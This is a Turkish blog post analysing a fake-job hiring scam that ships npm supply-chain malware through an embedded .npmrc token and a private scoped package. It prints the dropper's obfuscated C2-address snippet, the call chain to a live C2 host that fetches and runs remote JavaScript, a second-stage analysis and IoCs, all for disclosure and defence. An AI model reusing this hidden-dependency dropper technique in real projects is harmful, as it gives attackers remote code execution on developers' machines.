Worklo adlı sahte bir startup’ın take-home assignment’ında supply chain malware buldum. Repo’nun içinde bir .npmrc dosyası vardı ve saldırgana ait npm auth token’ı ile npm install sırasında private bir zararlı paket indiriyordu. Bu paket C2 sunucusuyla iletişim kurup uzaktan JavaScript çalıştırıyordu. Tam Node.js RCE.

Bu, sahte iş teklifiyle npm malware yakaladığım ikinci sefer. İlki Foxtopia’ydı: sahte bir NFT projesi, AES-256 şifreli info-stealer dağıtıyordu. Worklo operasyonu daha gelişmiş. Adamlar komple bir şirket kurmuşlar: web sitesi, LinkedIn profili, Slack workspace’i, çok aşamalı mülakat süreci. Hepsi tek bir amaç için: npm install çalıştırtmak.

Nasıl başladı

LinkedIn’den Michael Schoemann mesaj attı. Profili “Founder & CEO / Talent Partner / Investor / Web3” yazıyor.

LinkedIn'den Michael Schoemann'ın ilk mesajı: senior Golang engineer pozisyonu

Teklif: remote, full-time, senior Golang engineer pozisyonu. Worklo PSA diye bir “next-generation project management platform” için. worklo.org ve demo.worklo.org linklerini paylaştı.

İş aramıyordum. O yüzden verdikleri rakamın %50 üstünde bir counter offer yaptım. Kabul ettiler. Hiç düşünmeden.

Pazarlık yok. “Takımla konuşayım” yok. Direkt: “We can accommodate your compensation.” Sonra CTO’larına mail atmamı istediler. emir@worklo.org.

İlk kırmızı bayrak bu. Erken aşama ve bütçesi kısıtlı olduğunu söyleyen bir startup, tek mesajda %50’lik bir counter offer’ı kabul etmez.

Sahte şirket

Mülakat öncesi Worklo’yu araştırdım.

Web sitesi (worklo.org) gerçek bir SaaS ürünü gibi görünüyor. Landing page, özellik açıklamaları, roadmap sayfası var. Self-hosted deployment için GitHub’daki kodlarını kullanabileceğinizi söylüyorlar. Sorun: GitHub organizasyonları yok.

GitHub 404 sayfası: github.com/Worklo-Group/go-nextjs-assignment

Kayıt çalışmıyor. worklo.org’a kayıt olmaya çalıştığımda Supabase .env.local konfigürasyon hatası aldım. Ürün çalışmıyor. Kabuk.

Sıfır iz. Yatırım haberi yok, basında yok, Crunchbase’de yok, gerçek çalışanları olan bir LinkedIn şirket sayfası yok. Piyasanın üstünde maaş verebilen bir şirketin bir yerlerde izi olmalı. Worklo’nun yok.

Mülakat

Ertesi gün Slack workspace’lerine katıldım. Emir Hammani (CTO) mülakatı text üzerinden yürüttü.

Slack'te Emir Hammani ile teknik mülakat başlangıcı

Süreç:

  1. Text tabanlı teknik sorular
  2. Take-home assignment (“gerçek stack’imizin basitleştirilmiş versiyonu”)
  3. Ertesi gün sunum

Emir standart backend soruları sordu: Go concurrency pattern’leri, veritabanı tasarımı, sistem mimarisi. Zaten şüpheleniyordum, var olmayabilecek bir şirkete gerçek efor harcamaya niyetim yoktu. AI ile cevapladım, geçtim. Sonra assignment’ı gönderdi.

Slack mesajları: assignment teslimi ve GitHub davetiyesi

Beni private bir GitHub repo’suna davet etti: Worklo-Group/go-nextjs-assignment. Davet @presemcefactor kullanıcısından geldi.

GitHub davet maili: @presemcefactor'dan Worklo-Group/go-nextjs-assignment

“Follow all of requirements in readme.md on time. Will get back to you 3 hours later and review with our team.”

Assignment Next.js + Go projesi. Supabase backend’li bir “PSA platform.” README’de npm install yazıyor. Tetik bu.

Kodda ne buldum

npm install çalıştırmadım. Kodu okumaya başladım. İlk baktığım yer .npmrc:

//registry.npmjs.org/:_authToken=npm_...

Repo’da hardcoded npm auth token. Normal değil. Bu token aaron205whitmore adlı saldırgan hesabına ait. Tek amacı: npm install sırasında normalde 404 dönen private bir scoped paketi indirmek.

Enfeksiyon zinciri:

package.json
  └── devDependencies: "animatecss-tailwind-adapter": "^2.0.6"   (public decoy)

tailwind.config.js
  └── require('animatecss-tailwind-adapter')({ duration, delay, iterationCount })

animatecss-tailwind-adapter@2.0.6 (public npm)
  └── dependency: @aaron205whitmore/postcss-animate-utils@^1.0.1  (private, token gerekli)

@aaron205whitmore/postcss-animate-utils@1.0.3 (private malware)
  └── normalizeOptions() → async IIFE dropper
      └── POST http://153.75.81.2:1224/debugCheck
          └── JSON.message → base64 decode → dinamik kod çalıştırma
              └── Tam Node.js RCE

Public decoy

animatecss-tailwind-adapter@2.0.6, grant587holloway tarafından yayınlanmış public bir paket. 28 Temmuz 2026’da oluşturulmuş. Tek versiyonu var (sahte olgunluk için 2.0.6’dan başlıyor). GitHub repo’su (sericpieap/animatecss-tailwind-adapter) 404. sericpieap kullanıcısı da yok.

npm sayfası: animatecss-tailwind-adapter, 1,416 haftalık indirme

1,416 haftalık indirme. Gerçek kullanıcı değil bunlar. Manipüle edilmiş assignment repo’larında npm install çalıştıran kurbanlar.

Paket sadece bir wrapper. src/motion.js üzerinden @aaron205whitmore/postcss-animate-utils‘i yüklüyor. Tek amacı private malware’i çekmek.

Private payload

@aaron205whitmore/postcss-animate-utils bir private scoped paket. .npmrc‘deki auth token olmadan 404 dönüyor. Token varsa kurulabiliyor. Üç versiyonu var:

Versiyon Yayın tarihi Boyut Değerlendirme
1.0.1 28 Temmuz 2026, 19:46 UTC ~14 KB Temiz decoy. Gerçek PostCSS plugin kodu
1.0.2 28 Temmuz 2026, 20:18 UTC ~16 KB Cleartext dropper enjekte edilmiş
1.0.3 4 Ağustos 2026, 07:08 UTC ~182 KB Obfuscated VM + aynı cleartext dropper

1.0.1, 1.0.2’den 32 dakika önce yayınlanmış. Temiz paket, meşru görünen kod geçmişi oluşturmak için. Sonra dropper enjekte edilmiş.

Dropper

normalizeOptions(options) içinde async IIFE çalışıyor. Yorumlar Tailwind theme service kodu gibi gizlenmiş. C2 adresi şöyle oluşturuluyor:

const themeService = "I6MTIyNA==MTUzLjc1LjgxLj";
// String'i döndür
const rotated = themeService.slice(10) + themeService.slice(0, 10);
// rotated = "MTUzLjc1LjgxLjI6MTIyNA=="
// base64 decode → "153.75.81.2:1224"

Dropper sırayla:

  1. 60 saniye timeout ile 10 deneme yapıyor
  2. http://153.75.81.2:1224/debugCheck?id=<delay>,<duration>,<iterationCount> adresine POST atıyor
  3. JSON response’tan message field’ını okuyor
  4. Base64 decode ediyor
  5. Decoded string’i tam require erişimiyle JavaScript olarak çalıştırıyor

  6. adım öldürücü. require parametresi second-stage payload’a Node.js’in tüm built-in modüllerine erişim veriyor: fs, child_process, os, net, crypto. Node ne yapabiliyorsa, saldırgan da yapabiliyor. Bu second-stage’i C2’den sonradan aldım — aşağıdaki bölüme bakın.

Hata durumunda: console.warn("Tailwind engine failed to load after all retries"). Fonksiyon devam edip normal PostCSS seçeneklerini döndürüyor. Çift kullanım: plugin gerçek bir PostCSS plugin’i olarak çalışırken arka planda backdoor’u sessizce çalıştırıyor.

Second stage

İlk bakışta C2 ölü görünüyordu: 153.75.81.2:1224 ICMP’ye cevap veriyordu ama TCP port 1224 ilk geçişte bağlantı reddediyordu, bu yüzden asıl second-stage payload erişilemez kaldı. Durum değişti. C2 geri geldi ve dropper’ın POST /debugCheck isteğine gerçek second-stage’i döndürdü — tek bir JSON belgesi:

{"status": "ok", "message": "<base64-encoded JavaScript>"}

message alanı base64 ve decode edilince ~195 KB obfuscated JavaScript dropper/installer ortaya çıkıyor. Bu, paketin normalizeOptions() IIFE’sinin çekip base64’ten çözüp tam require erişimiyle çalıştıracağı kod. Zincirin eksik ikinci yarısı — artık elimizde.

Statik olarak analiz ettim (çalıştırmadım). 195 KB’lık payload, kendi kendine yeten bir Node.js dropper’ı ve belgelenebilir bir davranışa geri dönüyor. Spesifikaya geçmeden profile dair birkaç not:

  • Payload tek dosya, control-flow-flattening obfuscator’ı ile yoğun şekilde obfuscatelenmiş.
  • // @bun (Bun.js) hedefli ve sType = 'APRGIP100' session-type işareti taşıyor.
  • Tüm modül adları (os, fs, path, http, https, child_process, net, crypto) ve tüm komut string’leri obfuscatörün string-array’i içinde şifreli. Sadece runtime’da çözülüyor — string tablosu statik okunabilir değil.

Statik analizin net biçimde gösterdikleri:

Kendi kendine başlıyor. Dosya yüklendiği anda initialize() çağırıyor, ardından setInterval retry döngüsü kuruyor (RETRY_INTERVAL_MS), böylece bir aşama başarısız olsa bile tetiklenmeye devam ediyor. Pasif bir kütüphane değil; evaluate edilir edilmez çalışmaya başlıyor.

Host fingerprint. gatherHostIdentity() rutini hostName, platform, userInfo, homeDir topluyor ve makine başına hostId ile sessionTimestamp türetiyor. Her kurban takip için benzersiz bir kimlik alıyor.

İki portlu C2. Kod iki sunucu sabiti taşıyor — SERVER_PORT ve SERVER_PORT2 — ayrıca HTTP_PREFIX, ENCODED_SERVER_IP ve gerçek sunucu adresini runtime’da yeniden kuran decodeIP() helper’ı. IP/port hiçbir zaman düz metin olarak yok; obfuscated parçalardan birleştiriliyor. buildServerUrl() ve resolvedBaseUrl endpoint’i oluşturuyor.

Telemetri exfiltration. sendTelemetry() toplanan host kimliğini, kurbanı kaydettikten sonra C2’ye geri gönderiyor.

Bootstrap + indirme. fetchBootstrap() / parseBootstrap() C2’den bir yapılandırma veya komut seti çekiyor (MAX_BOOTSTRAP_ATTEMPTS, dropper’ın kendi retry disiplinini tekrarlıyor; DEFAULT_HTTP_RETRIES ve timeout ile), downloadTestJs() ise çalıştırılacak gerçek payload’ı indiriyor.

Diske staging + çalıştırma. ensurePackageAndRun() TEMP_DIR‘i hazırlıyor (mkdirp ile oluşturup rmSync ile temizliyor), PACKAGE_JSON_FILE ve TEST_JS_FILE (arka plandaki API_PACKAGE_JSON ve API_TEST_JS sabitleri) yazıyor ve NODE_MODULES_DIR‘i hazırlıyor. Sonra runNpmInstall() / runNpmInstallAlternative() ve runNodeTest() çalıştırıyor — spawn gerçek npm install ve node <test.js> alt sürecini sürmek için kullanılıyor; getNpmCliPath() önce npm binary’sini buluyor.

Başka bir deyişle: second-stage tek seferlik bir komut değil — tam bir installer. Host’u fingerprint’liyor, C2’ye check-in yapıyor, payload’ını indiriyor, geçici dizine sahte package + test dosyası yazıyor, rigged bir dependency set’e karşı npm install çalıştırıyor ve indirilen JavaScript’i Node altında execute ediyor. Dropper require verdiği için bu aşamaların her biri child_process, fs, net, os, crypto ve http(s)‘e çağrı yapabiliyor — dropper’ın kendisiyle aynı tam RCE erişimi.

Kapsülleme hilesi ilk aşamayı yansıtıyor: second-stage JS’i normal proje scaffolding’i gibi görünen bir “package + test” iş akışının arkasına gizliyor, böylece ilk aşamanın zaten çalıştığı bir makinede second-stage aynı Node process’i içinde sessizce devam ediyor.

Alınan second-stage payload’ın SHA-256’sı (message‘ın deobfuscate edilmiş base64’i): a82151739414d7814db395e9434af08b65aebdd27b6b10fbd97793f4f1662d06.

String tablosu şifreli olduğu için kesin C2 adresi, tam npm install komut satırı ve indirilen test.js içeriği yalnızca bu statik geçişten çıkarılamıyor. Hiçbir şey çalıştırmadan doğrulanan şey ise tam davranışsal zincir: fingerprint → register/telemetry → bootstrap → indirme → diske staging → install → run. Bu tek seferlik bir dropper değil, kalıcı bir uzaktan kontrol installer’ı.

Yüzleşme

Analizi tamamladıktan sonra Slack kanalına geri döndüm.

Slack mesajı: Emir'e C2 sunucusu ve malware hakkında soru, Medium makalesini paylaşma

Yazdım: “Hi Emir, I have a question. Why is your C2 server down? I can not install your malware. Can you help 🙏”

Ve Vishal Patil’in Medium makalesini paylaştım. Başlık: “The Hiring Scam: 123 Developers targeted with one broken npm link.” Aynı kampanya, başka bir geliştirici tarafından belgelenmiş.

Emir’in cevabı: “I don’t know what you’re talking about. I don’t run any server, malware, or anything like that, and I’m not involved in anything of the kind.”

Sonra: “You have the wrong person. Do not contact me about this again.”

npm ve LinkedIn support ile iletişime geçtiğimi söyledim.

Slack bildirimi: @Emir Hammani tarafından kanaldan çıkarıldım

Beni Slack kanalından çıkardı. Bu yazının yazıldığı tarihte her iki npm paketi de registry’de hala listeleniyor ve LinkedIn profilleri aktif. Tüm IoC’leri npm security ve LinkedIn’e raporladım.

Kampanya

Bu izole bir olay değil. Vishal Patil’in Medium makalesi aynı operasyonla hedeflenen 123 geliştiriciyi belgeliyor. npm paket ailesi (animatecss-tailwind-adapter, tailwindcss-animatecss-latest) aynı animate/tailwind temasını paylaşıyor. GitHub Advisory GHSA-cjj7-4xf8-fgf8 (OSV MAL-2026-6888) tailwindcss-animatecss-latest‘i aynı CWE-506 sınıflandırmasıyla malware olarak belgeliyor.

İlgili hesaplar:

Kimlik Platform Rol
Michael Schoemann LinkedIn Recruiter / ilk temas
Emir Hammani Slack, Email (emir@worklo.org) “CTO” / mülakatçı
@presemcefactor GitHub Repo davet eden
grant587holloway npm Public decoy yayıncısı
aaron205whitmore npm Private malware sahibi
sericpieap, rueppipep GitHub (404) Sahte paket yazarları

IoC’ler (Indicators of Compromise)

# Şirket
Domain:            worklo.org
Demo:              demo.worklo.org

# npm paketleri
animatecss-tailwind-adapter@2.0.6          (public decoy)
@aaron205whitmore/postcss-animate-utils    (private, 1.0.2 ve 1.0.3 zararlı)

# npm hesapları
grant587holloway / Grant587Holloway@outlook.com
aaron205whitmore / Aaron205Whitmore@outlook.com

# C2
153.75.81.2:1224
http://153.75.81.2:1224/debugCheck

# Second-stage payload (C2'den alındı)
status-ok JSON:  {"status":"ok","message":"<base64>"}
payload sha256:  a82151739414d7814db395e9434af08b65aebdd27b6b10fbd97793f4f1662d06

# GitHub
Worklo-Group organizasyonu
@presemcefactor (repo davet eden)

# İlgili advisory
GHSA-cjj7-4xf8-fgf8 (tailwindcss-animatecss-latest)
OSV MAL-2026-6888

Etki

Bu repo’da npm install çalıştırıp Next.js dev server’ı başlattıysanız (veya tailwind.config.js‘i evaluate eden herhangi bir işlem), tam host compromise varsayın. Dropper require‘a erişiyor, yani dosya okuyabilir, komut çalıştırabilir, ağ bağlantısı açabilir, persistence kurabilir. Hepsi Tailwind/PostCSS’in kullandığı Node.js process’i içinde oluyor. Ekstra yetki gerekmez. Diskte şüpheli binary yok. Sadece işini yapan bir “Tailwind plugin’i.”

Kurduysanız ne yapmalı:

  1. Enfekte makinede temizleme denemeyin
  2. Temiz bir cihazdan tüm secret’ları rotate edin: SSH key’leri, npm token’ları, GitHub token’ları, cloud credential’ları, Supabase key’leri, veritabanı şifreleri
  3. Persistence mekanizmalarını kontrol edin (LaunchDaemon’lar, cron job’lar, autostart entry’leri)
  4. Makineyi sıfırdan kurun

Bu neden tekrar tekrar oluyor

Bu kampanyadaki yenilik embedded auth token ile private scoped package. Kör nokta tam burası. Her npm malware tarayıcısı, her GitHub advisory, her otomatik kontrol public paketler üzerinde çalışıyor. @aaron205whitmore/postcss-animate-utils private. Hiçbir public registry aramasında çıkmıyor. Socket.dev flag’lemez. npm audit flag’lemez. .npmrc token’ı repo’da normal bir proje konfigürasyon dosyası gibi duruyor ve malware’i erişilebilir kılan tek şey o. Token olmadan npm install private dependency’de 404 alıp geçer. Token varsa malware sessizce kurulur.

Sosyal mühendislik de gelişiyor. Foxtopia Google Drive linkli soğuk bir email’di. Worklo komple bir şirket kurmuş. Web sitesi, demo ortamı, Slack workspace’i, gerçek teknik sorularla çok aşamalı mülakat. Cepheye yapılan yatırım dolandırıcılığı zorlaştırıyor, ve saldırganın bu eforu haklı çıkaracak kadar geri dönüş aldığı anlamına geliyor.

Savunma sıkıcı ama işe yarıyor: .npmrc‘de embedded token kontrolü. Tanımadığınız dependency’leri araştırın. Şirketin kendi web sitesi dışında var olduğunu doğrulayın. Ve güvenilmeyen repo’ları disposable ortamda çalıştırın, SSH key’lerinizin ve browser profillerinizin olduğu makinede değil.

Referanslar

İlgili içerik